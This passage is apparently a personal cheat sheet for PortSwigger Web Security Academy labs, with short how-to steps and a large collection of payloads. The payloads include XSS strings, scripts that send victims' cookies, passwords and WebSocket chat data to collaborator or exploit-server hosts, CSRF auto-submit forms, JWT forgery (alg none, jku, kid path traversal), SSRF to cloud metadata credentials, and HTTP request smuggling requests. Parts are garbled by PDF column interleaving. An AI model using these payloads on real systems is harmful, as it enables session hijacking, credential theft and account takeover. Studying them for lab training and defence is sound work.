mail domain or the sub-domain.
2. Then we find a file or a keyword with
`redirectOnConfirmation` or
`commentConfirmationRedirect.js`, where we can
inject the email change request as
`/post/comment/confirmation?postId=../my-
account/change-email?email=anything
%40anything.com%26submit=1`
3. So we construct the attack and since the
domain is same domain, we get the cookie in our
CSRF attack.

1. Append `origin` header to your request and see


what is reflected in ACAO header.
2. If your input in origin header is reflected,
means it is vulnerable and we can proceed.
3. Use the exploit server to get the API key /
Account Details

1. Append `origin` header to your request with


value `null` and see what is reflected in ACAO
header.
2. If reflected, it is vulnerable, use the exploit
server to do the rest
In this case the CORS only allows the website's
subdomain to make CORS request, hence we'll
use it to issue requests by injecting javascript in
the vulnerable parameter.

1. You find a subdomain ( eg: stock ) to be


vulnerable to XSS
2. Since the CORS only allows request from this
subdomain, you can use it to inject XSS and
issue CORS requests.
3. Paste the payload in your exploit server and
deliver it

1. Find the page where X-Frame-Options is


missing.
2. Craft the clickjacking payload
3. Adjust the position so that `test me` falls
directly above the button you want to get clicked
4. Eventually reduce the opacity to ` 0.0001` to
hide the iframe
5. Change the `test me` string to `click me`

Here you can specify the input in the URL, for


example if the my account page is at `/my-
account?id=wiener` you can enter the value for
email input as `/my-account?
id=wiener&email=a@b.com`

Change the `test me` string to `click me`


The name parameter is vulnerable to XSS, we
launch the clickjacking attack that executes XSS
through name parameter and rest is same
( changing the email )

Change the `test me` string to `click me`

In this case, the vicitm first clicks on the button to


submit the changed email and the second click is
to confirm the email change action.

Change the `test me` string to `click me`

There is client side encoding implemented, simply


intercept the request in burp, change it back to
original payload and boom
Here the website doesn't use CSRF tokens in it's
websocket interaction, as a result we can use the
script to host it on our exploit server, deliver it to
victim, once the victim clicks, a websocket
connection will be initiated and all the data from
there will be exfiltrated to our collaborator.

CSRF token not present & cookie based session


handling

1. Blacklisted when XSS input detected


2. Bypass it using `X-Forwarded-For` header
3. Send the websocket request ( from the
websocket tab to repeater )

1. Search for `X-Cache` header in proxy


2. Once found, run param-miner for guessing
headers
3. Use the header to inject things and see where
are they reflected
4. Get it cached ( X-Cache : hit -> X-Cache : miss
)

X-Forwarded-Proto
1. `vary` header is used to make unkeyed
elements a keyed element.
2. Use XSS to find the User-Agent of the victim
3. Use that User-Agent from logs in your request
& get it cached

1. Use `Pragma: x-get-cache-key` to see what


does the cache key look like
2. Here the query string is an unkeyed element,
meaning no matter what query string does a
user's request contain, it'll always get the cached
one.
3. Hence we get our thing cached, once the victim
visits any page on the site, we get the cookie.

Admin interface only available to local users

1. Injected in the home page


2. Created `/resources/js/tracking.js` on exploit
server
3. Poisioned the cache through second host
header

Access the admin interface to delete user carlos,


the intranet IP range is given as 192.168.0.0/24

Access the admin interface to delete user carlos,


the intranet IP range is given as 192.168.0.0/24

1. Add initial request to repeater and change


`Connection` to `keep-alive` ( only the last
request will have connection closed )
2. Add the same request to repeater again under
same tab-group, but now change the host to
192.168.0.1 and requesting path to `/admin`.
3. In tab group setting change it to `single
connection`
1. Request password for different user
2. Change the host header to that of exploit
server
3. Asses the exploit server logs for captured
token

Here we try to overwrite the host header using


other headers.

Quotes are important

In the proxy history, study the response to the


GET /email request. Observe that the HTML
content for your email is written to a string, but
this is being sanitized using the DOMPurify library
before it is rendered by the browser.

The signature is not validated at all, just change


the required value and hit go !

The web application validates signatures, but


does not whitelist signatures, as a result the
attacker can change value to `none`, meaning no
signature, hence no validation

If a weak secret key is used, it can be brute


forced using the issued token and a wordlist of
well known secret keys.
1. Generate new pair of RSA keys using
extension
2. Send the request to repeater and make
changes to the token
3. Now choose atttack > embedd JWK and send
the request

1. Copy the JWK as public key and host it on the


exploit server in the shown format.
2. Modify the JWT token, change the kid value to
the one you uploaded on your server, as well as
add the jku header
3. Sign the JWT token using the generated keys
and send it in

1. Generate new symmetric RSA key, click


generate
2. Replace the "k" value with ==AA ( black
space )
3. Make changes to the payload : kid & whatever
value
4. Sign it

Take care of spacing after `0`, it is required.


`\r\n\r\n` following the final 0

Here, the admin panel is only allowed access


from localhost, we were able to smuggle our
request, but were getting error, duplicate headers,
due to `host` header being present twice, so we
appended x= to the second request's body, this
basically means when the first /admin reques is
issues the x= will be left unused and the
subsequent request will become part of x=, and
when we issue the admin request again, this time
we will get access to the admin panel.
- In this lab we are on the same network as admin
- we can only access the admin page from
address 127.0.0.1
- The lab also has a search function, where
whatever we search is reflected in the response,
this means, if we can smuggle a request and get
the next request as search param value, then we
can basically see the admin's request and see if
we can find anything.
-> Capturing other user's request in comment
functionality
-> Send the request, wait for 10 seconds & reload
the page
-> Depending upon how much data you've got
change the content-length

{ If you are not getting a response back, this


probably means, the content length is more,
reduce it }

In lab the length we got was 950


Request 1 : Registering Client Application Request 2 : Change the client ID with the one
received in response
POST /reg HTTP/2
Host: oauth-0aaa006a033534708255dbfe0230008b.oauth-
server.net GET /client/AnYuv47ARWOvh886310_z/logo
Cookie: _session=J82AfRm26PDavf54GTF0V; HTTP/2
_session.legacy=J82AfRm26PDavf54GTF0V Host: oauth-
Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122" 0aaa006a033534708255dbfe0230008b.oauth-
Sec-Ch-Ua-Mobile: ?0 server.net
Sec-Ch-Ua-Platform: "Windows" Cookie: _session=J82AfRm26PDavf54GTF0V;
Upgrade-Insecure-Requests: 1 _session.legacy=J82AfRm26PDavf54GTF0V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Sec-Ch-Ua: "Not(A:Brand";v="24",
AppleWebKit/537.36 (KHTML, like Gecko) "Chromium";v="122"
Chrome/122.0.6261.112 Safari/537.36 Sec-Ch-Ua-Mobile: ?0
Accept: Sec-Ch-Ua-Platform: "Windows"
text/html,application/xhtml+xml,application/xml;q=0.9,image/ Upgrade-Insecure-Requests: 1
avif,image/webp,image/apng,*/*;q=0.8,application/signed- User-Agent: Mozilla/5.0 (Windows NT 10.0;
exchange;v=b3;q=0.7 Win64; x64) AppleWebKit/537.36 (KHTML,
Sec-Fetch-Site: none like Gecko) Chrome/122.0.6261.112
Sec-Fetch-Mode: navigate Safari/537.36
Sec-Fetch-User: ?1 Accept:
Sec-Fetch-Dest: document text/html,application/xhtml+xml,application/xml
Accept-Encoding: gzip, deflate, br ;q=0.9,image/avif,image/webp,image/apng,*/
Accept-Language: en-US,en;q=0.9 *;q=0.8,application/signed-
Priority: u=0, i exchange;v=b3;q=0.7
Content-Type: application/json Sec-Fetch-Site: none
Content-Length: 156 Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
{ Sec-Fetch-Dest: document
"redirect_uris" : [ Accept-Encoding: gzip, deflate, br
"https://example.com" Accept-Language: en-US,en;q=0.9
], Priority: u=0, i
"logo_uri" :
"http://169.254.169.254/latest/meta-data/iam/security-
credentials/admin/"
}
COPY URL & DROP

GET /oauth-linking?
code=gF3JqG69oIp7MLD622S5uDnWqFlHa1ydShJsiqgh2Iy
HTTP/2
Host: 0a7000bf04563a1c82d5881000ae007c.web-security-
academy.net
Cookie: session=udMr3rO72dqtLQVdTbU4bVdyFmcA0T7M
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/122.0.6261.112 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/
avif,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site Host: oauth-0aaa006a033534708255dbfe0230008b.oauth-server
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Referer: https://oauth-
0a6800b804d73a6e82f386d60291005d.oauth-server.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i

EXPLOIT SERVER

<iframe src="https://oauth-
0a9900740305464781430fa5027a0066.oauth-server.net/
auth?
client_id=zgpyqu5w9sjvtf159a084&redirect_uri=https://
exploit-0ae000cf032d46538174106101b30048.exploit-
server.net/exploit&response_type=code&scope=openid
%20profile%20email"></iframe>
<script>
if (!document.location.hash) {
window.location = 'https://oauth-
0a2b00b303ea208880560bfa02d100ff.oauth-server.net/auth
?client_id=mtyttcqiktkjol7896w7l&redirect_uri=https://
0a5d002e0375205a80980d0b00a40069.web-security-
academy.net/oauth-callback/../post/next?path=https://
exploit-0a8a0073032020f780570cdb0192004d.exploit-
server.net/exploit/
&response_type=token&nonce=399721827&scope=openid
%20profile%20email'
} else {
window.location =
'/?'+document.location.hash.substr(1)
}
</script>

Sec-Ch-Ua-Mobile: ?0
Priority: u=0, i
<script>
websocket = new WebSocket('wss://0a5600690383c42684d69a5a0074004c.web-security-academy.net/chat')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://sb7h9c1ohco50t1svkgpoq9hs8yzmqce1.oastify.com/?'+event.data, {mode: 'no-cors'})
}
</script>

GET /resources/js/tracking.js HTTP/2


Host: 0a6800be04fb580781fe0270008d0065.web-security-
academy.net
X-Forwarded-Scheme: nohttps
X-Forwarded-Host: exploit-
0aae008e04945852817001e40103009d.exploit-server.net
GET /?search='/><script>alert('xss');</script> HTTP/2
Host: 0ad0001603ea443481672ac600a300b1.web-security-
academy.net
Origin:

GET /js/geolocate.js?
callback=setCountryCookie&utm_content=anything;callback
=alert(1) HTTP/2
Host: 0a790093042a483781b6a7ae001a00ee.web-security-
academy.net
Cookie: country=[object Object];
session=bG2PChcY1s7FELRxWBu8ZYFzpF55ejp4

X-Host::
X-Forwarded-For:
X-HTTP-Host-Override:
Forwarded:

1. Try two different host headers


2. Try absolute URL & host header with evil
3. Try different http headers to overwrite the host header
4. Try <tab> with two host headers
5. Try routing based SSRF : 192.168.0.§0§
6. Try absolute URL
{
"jku": "https://exploit-
0aee00860488db91816c4ce6015b0094.exploit-server.net/
exploit.json",
"kid": "7bace579-8808-4f3e-b0e8-9b2ad50b0de3",
"alg": "RS256"
}

# CL.TE
0

GET /404 HTTP/1.1


x-ignore: x

# TE.CL
converter : https://coolconversion.com/math/binary-octal-hexa-dec
5e #length of the data including 0
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0
Admin interface only available if logged in as an
administrator, or if requested from 127.0.0.1
Vulnerability Test Case
Authentication Username Enumeration Different Status Codes
Login Page
Forgot Password Page
Change Password Page Username Enumeration Different Error
2FA Page / Security Code Messages
Email for password reset ?
X-Forwarded-Host

Username Enumeration Different Time Response


Bypass IP-Block

Bypass IP-Block via successful login

Username Enumeration via Account Lockout


Multiple Credentials Per Request
Multi Factor Authentication
URL Rewrite to "Logged In Pages"

Bruteforce the MFA Code


Remember Me / Keep Me Logged In

Bruteforce Stay-Logge In Cookie

Offline Cracking

Forgot Password

Presence of token is not validated


Password Reset poisioning throguh X-
Forwarded-Host

Changing User Password

Password Bruteforce

OAuth Token not binded with the username


- Login with Social Media
- Redirecting to social media
- Next Post
- /.well-known/oauth-
authorization-server OpenID Dynamic Client Registration ( LOGO URI
- /.well-known/openid- /LOGO URL )
configuration
- If `Attach with social
media`, state parameter not
present might be the answer
STATE Parameter Not Present

Unvalidated `redirect_uri`
Open Redirect with OAuth 2.0

Access Control Unprotected admin functionality

Access Controlled By Reuqest Parameter

Modify Access Control Through Form


Submission in user profile

Bypass Access Control Via Request Headers

Changed Request Method

Case Sensitive URL Bypass


IDOR

Exposed Unpredictable userID / Exposed user


password in response

Multi Step Process

Referer Based Access Control

XSS Basic XSS


- Search Bar
- Comment Section
- DOM Sinks With most tags & attributes blocked
- Cookie with httpOnly not
set

Custom Tags

Event Handlers & Href Blocked

SVG Markup Allowed

Angular Brackets Encoded


Quotes HTML Encoded

With Single Quote getting Backslash escaped


( JS Context )

Breaking Out Of JavaScript String


Jquery Location.hash

DOM XSS using web messages and a


JavaScript URL

HTML Encoded
DOM XSS in document.write sink using source
location.search inside a select element

DOM XSS in AngularJS expression with angle


brackets and double quotes HTML-encoded
Stored XSS into onclick event with angle
brackets and double quotes HTML-encoded and
single quotes and backslash escaped
Reflected XSS into a template literal with angle
brackets, single, double quotes, backslash and
backticks Unicode-escaped

Stealing Cookies

Capturing Passwords
Performing CSRF

CSRF CSRF With No Defence

- Is the CSRF token present


or not ?
- Change Email
- Redirect
Validation Depends Upon Request Method
( `redirectOnConfirmation`
or
`commentConfirmationRedir
ect.js` )
Validation Depends on token being present
Token Not Tied To user's session

CSRF Token Tied to non-session cookie


CSRF Token Duplicate In Cookie

Validation Based On Referer Header


Validation Based on referer Header being present

SameSite Lax bypass via method override


SameSite Strict bypass via client-side redirect

CORS Basic Origin Reflection

- Always manually probe by


changing the origin and see
what is returned in the
reponse, does it contain
`Access-Control-Allow-
Origin` with `Access-
Control-Allow-Credentials`

- /accountDetails end-point When null origin is allowed


in page source

- Check stock opens in


another frame, ProductID or
storeID might be injectible
XSS & CORS

Clickjacking Clickjacking with CSRF Protection

- Change Email

- Chain with XSS in


comment section any
parameter to get cookies

Clickjacking with form field prefilled from URL


parameter
Clicljacking with XSS

Multi Step Clickjacking

Web Sockets XSS in chat application


- Chat Functionality

Croos Site Web Socket Hijacking ( CSWSH )

Bypassing IP Blacklist to get XSS

Web Cache Poisioning

If you got only tracking.js


Web Cache Poisioning Using Unkeyed Header
without X-Cache - no
cache poisoning here,
folks.

- tracking.js
- You see `vary` set to User-
Agent in response header
- Use `Pragma: x-get-cache-
key` in request header to
view the cache key Web Cache Poisioning Using Unkeyed Cookie
- Param Miner > rails param
cloacking scan

Web Cache Poisioning With Multiple Headers


Web Cache Poisioning Using An Unknown
Header

Web cache poisoning via an unkeyed query


string

Parameter Cloacking

Host Header Attacks Host Header Authentication Bypass

- "Invalid Host Header" Web Cache Poisioning


- Password Reset
- On host header you get, CLIENT ERROR Forbidden

Routing Based SSRF

SSRF with Flawed Parsing

Connection State Attack


Basic Password Reset Poisioning

Password Reset Poisioning Via Middleware

Password Reset Poisioning Via Dangling Markup

JWT Flawed Signature Verification

- JWT in use

Accepting Arbitrary Signatures

Brute forcing Secret Keys


Injecting via JWK

Injecting via JKU

Injecting via KID

HTTP Request Smuggling CL TE


- "Path /admin is blocked"
- If the website doesn't give
any error on HTTP/2 ->
HTTP/1.1 or by specifying
both CL & TE header, then
it might be vulnerable

TE CL

Obfuscating TE Header

Accessing /admin Panel : CLTE


Accessing /admin Panel : TECL

Finding Out Secret Header To Access Admin


Panel
Capture Other User's Request

Reflected XSS
Payload

X-Forwarded-For

Important : https://portswigger.net/web-security/authentication/password-based/lab-broken-bruteforce-protection-ip-block

base64(username+':'+md5HashOfPassword)

<script>document.location='//YOUR-EXPLOIT-SERVER-
ID.exploit-server.net/'+document.cookie</script>
X-Forwarded-Host: your-exploit-server.com

1. While proxying traffic through Burp, click "My account" and


complete the OAuth login process. Afterwards, you will be
redirected back to the blog website.

2. In Burp, go to "Proxy" > "HTTP history" and study the requests


and responses that make up the OAuth flow. This starts from the
authorization request GET /auth?client_id=[...].

3. Notice that the client application (the blog website) receives


some basic information about the user from the OAuth service. It
then logs the user in by sending a POST request containing this
information to its own /authenticate endpoint, along with the
access token.

4. Send the POST /authenticate request to Burp Repeater. In


Repeater, change the email address to carlos@carlos-
montoya.net and send the request. Observe that you do not
encounter an error.

5. Right-click on the POST request and select "Request in


browser" > "In original session". Copy this URL and visit it in the
browser. You are logged in as Carlos and the lab is solved.
https://oauth-0aaa006a033534708255dbfe0230008b.oauth-server.net/.well-known/openid-configuration1. Register your own cl
Common Bypass :- https://default-host.com&@foo.evil-user.net- https://default-host.com#@bar.evil-user.net
X-Original-URL
X-Rewrite-URL
---------------------------------------------------------------
POST / HTTP/1.1
X-Original-URL: /admin/deleteUser
...
<script>alert(1)</script>
<§>
<body%20§§=1>

<xss+id=x+onfocus=alert(document.cookie) tabindex=1>#x';

<svg><a><animate+attributeName=href+values=javascript:alert(1
) /><text+x=20+y=20>Click me</text></a>

<§>
<svg><animatetransform%20§§=1>

<svg><animatetransform onbegin=alert(1)>

"onmouseover="alert(1)
javascript:alert(1)

</script><script>alert(1)</script>

For example, suppose that the input:

';alert(document.domain)//
gets converted to:

\';alert(document.domain)//
You can now use the alternative payload:

\';alert(document.domain)//
which gets converted to:

\\';alert(document.domain)//

-alert(document.domain)-'
';alert(document.domain)//
'-alert(1)-'
\'-alert(1)//

# Stealing Cookies
';document.location='https://
swshucmo2c95ltmsgk1p9quhd8jz7vvk.oastify.com/
url='+document.domain;//
Payload :#" onload="this.src+='<img src=x onerror=print()>'"#<img src=x onerror=alert()In exploit server : <iframe src="https://Y

# Payload
window.postMessage('javascript:print()//http:','*');
# Deliver To Victim
<iframe src="https://0a8b003c03908a72811893c400e200e7.web-
security-academy.net/"
onload="this.contentWindow.postMessage('javascript:print()//http:
','*')">

&apos;-alert(document.domain)-&apos;http://foo?&apos;-alert(1)-&apos;
https://0a5b00e904b44a74807321b100d800cf.web-security-academy.net/product?productId=1&storeId=randstringhttps://0a5b

{{$on.constructor('alert(1)')()}}

http://foo?&apos;-alert(1)-&apos;

${alert(1)}

<script> fetch('https://BURP-COLLABORATOR-SUBDOMAIN', { method: 'POST', mode: 'no-cors', body:document.cookie }); </s


<input name=username id=username>
<input type=password name=password
onchange="if(this.value.length)fetch('https://BURP-
COLLABORATOR-SUBDOMAIN',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\
w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form
action="https://0a3d00630488573781441baf0055009b.web-
security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email"
value="attack@test.com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form
action="https://0a5e00120350d98a850a3c850078009f.web-
security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email"
value="a&#64;b&#46;com" />
<input type="hidden" name="csrf"
value="2PtaaMyN31ry7Uk1B43tTdYZKRv34PUM" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form
action="https://0a1700d5037fe3dc8065df1a00bf00e5.web-
security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email"
value="adamn@famn.com" />
<input type="hidden" name="csrf"
value="pPuFWLf1ia0yGVm26GcPU4iCeAZll2gK" />
<input type="submit" value="Submit request" />
</form>
<img src="https://0a1700d5037fe3dc8065df1a00bf00e5.web-
security-academy.net/?search=test%0d%0aSet-Cookie:
%20csrfKey=ZKRp4uaowcXjO0XOaDV5xf4nRuYnr2jo%3b
%20SameSite=None" onerror="document.forms[0].submit()">
</body>
</html>
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form
action="https://0a1600b604b160ba81e00734003f00f6.web-
security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email"
value="works@ppporks.com" />
<input type="hidden" name="csrf"
value="FMflDMvWJzqvmBcGnUX2vzkTh0ALPjO9" />
<input type="submit" value="Submit request" />
</form>
<img src="https://YOUR-LAB-ID.web-security-academy.net/?
search=test%0d%0aSet-Cookie:%20csrf=fake%3b
%20SameSite=None" onerror="document.forms[0].submit();"/>
</body>
</html>

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form
action="https://0a28005b03c06c1681f5617d00840021.web-
security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email"
value="random@random.text" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState("", "/","/?
0a28005b03c06c1681f5617d00840021.web-security-
academy.net");
document.forms[0].submit();
</script>
</body>
</html>
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<meta name="referrer" content="no-referrer">
<form
action="https://0aa9006c033f482b80ee991300b80055.web-
security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="done@w.com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

<script>
document.location = "https://YOUR-LAB-ID.web-security-
academy.net/my-account/change-email?email=pwned@web-
security-academy.net&_method=POST";
</script>

# Another Method

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form
action="https://0a5f00600398a7858150e36400310061.web-
security-academy.net/my-account/change-email">
<input type="hidden" name="email"
value="pwned@gmail.com" />
<input type="hidden" name="&#95;method" value="POST" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
<script>
document.location="https://
0a98007803a1e8e98133614e004900a8.web-security-
academy.net/post/comment/confirmation?postId=../my-account/
change-email?email=anything%40anything.com%26submit=1"
</script>

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;

req.open('get','YOUR-LAB-ID.web-security-academy.net/account
Details',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='/log?key='+this.responseText;
};
</script>

<iframe sandbox="allow-scripts allow-top-navigation allow-forms"


srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;

req.open('get','YOUR-LAB-ID.web-security-academy.net/account
Details',true);
req.withCredentials = true;
req.send();
function reqListener() {

location='YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?
key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<script>
document.location="http://stock.YOUR-LAB-ID.web-security-
academy.net/?productId=4<script>var req = new
XMLHttpRequest(); req.onload = reqListener;
req.open('get','https://YOUR-LAB-ID.web-security-academy.net/a
ccountDetails',true); req.withCredentials =
true;req.send();function reqListener() {location='https://YOUR-
EXPLOIT-SERVER-ID.exploit-server.net/log?
key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>

<style>
iframe {
position:relative;
width:$width_value; # 700px
height: $height_value; # 700px
opacity: $opacity;
z-index: 2;
}
div {
position:absolute;
top:$top_value; #450px
left:$side_value; #100px
z-index: 1;
}
</style>
<div>Test me</div>
<iframe src="YOUR-LAB-ID.web-security-academy.net/my-
account"></iframe>

<style>
iframe {
position:relative;
width:$width_value;
height: $height_value;
opacity: $opacity;
z-index: 2;
}
div {
position:absolute;
top:$top_value;
left:$side_value;
z-index: 1;
}
</style>
<div>Test me</div>
<iframe src="YOUR-LAB-ID.web-security-academy.net/my-
account?email=hacker@attacker-website.com"></iframe>
<style> iframe { position:relative; width:$width_value; height: $height_value; opacity:

<style>
iframe {
position:relative;
width:$width_value;
height: $height_value;
opacity: $opacity;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:$top_value1;
left:$side_value1;
z-index: 1;
}
.secondClick {
top:$top_value2;
left:$side_value2;
}
</style>
<div class="firstClick">Test me first</div>
<div class="secondClick">Test me next</div>
<iframe src="YOUR-LAB-ID.web-security-academy.net/my-
account"></iframe>

<img src=x onerror=alert(1);>


<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive
confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode:
'no-cors'})
}
</script>

X-Forwarded-For: 127.0.0.1

<img src=1 oNeRrOr=alert`1`>

# Injected ParameterX-Forwarded-Host : exploit-0a26000404bfd23083d61daa013800cd.exploit-server.net/resources/js/tracking

# Injected Parameter
fehost=string"-alert(1)-"string;

# Injected Headers
X-Forwarded-Scheme: nohttps
X-Forwarded-Host: exploit-
0a53008d04d5803583c7ecf60118001b.exploit-server.net

# Request : Inject the above headers in the


/resources/js/tracking.js request
GET /resources/js/tracking.js

# Exploit Server : /resources/js/tracking.js


# Injected Parameter
X-Host: exploit-0a7e000b04cca5d381d02443014500d7.exploit-
server.net

# Comment Section : vary User-Agent


<img src="https://evil.com">

https://0ad0001603ea443481672ac600a300b1.web-security-
academy.net/?search='/><script>alert('xss')</script>

GET
/?utm_content='/><script>document.location="https://Collaborator
.com?c="+document.cookie</script>

/js/geolocate.js?
callback=setCountryCookie&utm_content=anything;callback=alert
(1)

Host: 127.0.0.1
Host: localhost

Host: 0a4000a8038c3cf68177073100360090.h1-web-security-academy.netHost: exploit-0af1008803293c6a81cc060601ca00b

Host: 192.168.0.§0§

GET https://0a29004d03b7096383fa281100820043.web-
security-academy.net/ HTTP/2
Host: ajxsl03bt1t61ckeberqq718pzvqjh76.oastify.com

POST https://0a29004d03b7096383fa281100820043.web-
security-academy.net/admin/delete HTTP/2
Host: 192.168.0.96

csrf=eiJBDA6YwgraLusFdACA9IN7g47M8DPW&username=carlo
s

Connection: keep-alive
wiener@exploit-server.net
carlos@montaya.com

X-Host::
X-Forwarded-For:
X-HTTP-Host-Override:
Forwarded:

Host: 0a46001a04a1e3d18009a3c900f400f0.web-security-
academy.net:1234'><a href="//exploit-
0aea00e7041ce3be80a6a22d01cf009c.exploit-server.net/?

{
"sub":"wiener"
}

to

{
"sub":"administrator"
}

# Header
{
"alg":"HS256"
}
# Payload
{
"sub":"wiener"
}
to
# Header
{
"alg":"none"
}
# Payload
{
"sub":"administrator"
}

hashcat -a 0 -m 16500 <jwt> <wordlist>


{
"kid": "7bace579-8808-4f3e-b0e8-9b2ad50b0de3",
"typ": "JWT",
"alg": "RS256",
"jwk": {
"kty": "RSA",
"e": "AQAB",
"kid": "7bace579-8808-4f3e-b0e8-9b2ad50b0de3",
"n": "xrfsuTyUjdeIguJA-E4ymlVzTM3-
hSofRt0xpqNnXbeyREiH6cUm_qcuQ_xMjHTmkjfYjm65lSQd0aF
JiB1RKGMOXNCU8s0EwNVILppgG404arTMDYUM8QjXr8hUFz
pGpLmCkZwOKAYHjesNb-
Ki1oDeS8LQ816gHwdp535icaGt5SgyF8IbAvn25wTyiUrRCNGHb
HHzYnT_4hqwhUcknRZjLHJ4fmsk8j3AzryYRhNvClJRqK13rSWu
e0EanIG8hpNHynJckz0_jbCMdZhYx-
P9G2ONbSF1U_vI8BljBRbOF1CfmbR5lu47Gm6M5UB10NGNm
# Hosted on exploit server
6ASfK2Yz-AfydWnlQ"
{ }
} "keys": [
{
"kty": "RSA",
"e": "AQAB",
"kid": "7bace579-8808-4f3e-b0e8-9b2ad50b0de3",
"n": "xrfsuTyUjdeIguJA-E4ymlVzTM3-
hSofRt0xpqNnXbeyREiH6cUm_qcuQ_xMjHTmkjfYjm65lSQd0aF
JiB1RKGMOXNCU8s0EwNVILppgG404arTMDYUM8QjXr8hUFz
pGpLmCkZwOKAYHjesNb-
Ki1oDeS8LQ816gHwdp535icaGt5SgyF8IbAvn25wTyiUrRCNGHb
HHzYnT_4hqwhUcknRZjLHJ4fmsk8j3AzryYRhNvClJRqK13rSWu
e0EanIG8hpNHynJckz0_jbCMdZhYx-
P9G2ONbSF1U_vI8BljBRbOF1CfmbR5lu47Gm6M5UB10NGNm
6ASfK2Yz-AfydWnlQ"
}
{ ]
} "kid": "../../../../../../../dev/null",
"alg": "HS256"
}

POST / HTTP/1.1
Host: 0a8c004d040823fb84151373004d002d.web-security-
academy.net
Cookie: session=q4cyGyOhxOTS7K89pX8ig966gXjOhoUc
Content-Length: 35
Transfer-Encoding: chunked

GET /404 HTTP/1.1


X-Ignore: x
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

POST / HTTP/1.1
Host: 0a6a00a604e332b180f2fd4d0008009d.web-security-
academy.net
Cookie: session=tDbITpbuyl0HLxbmOMJTZ08O9ypmGa4R
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Transfer-Encoding: chunked

GET /admin HTTP/1.1


Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-length: 4
Transfer-Encoding: chunked

60
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

POST / HTTP/1.1
Cookie: session=iHXKs5g5Ylxpw2iN5ebaWbSBsHBWs0pO
Content-Length: 4 : increase the content length to see more of
the next request
Content-Type: application/x-www-form-urlencoded

search=test

----------------------------------------------------------------------------------------
---
POST / HTTP/1.1
Host: 0a6f007e03f7433180ebc6ed00f10022.web-security-
academy.net
Cookie: session=uscSQFDcTJxv4WpBGYU0n05f0boHcUqx
Cache-Control: max-age=0
Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/122.0.6261.112 Safari/537.36
Accept:
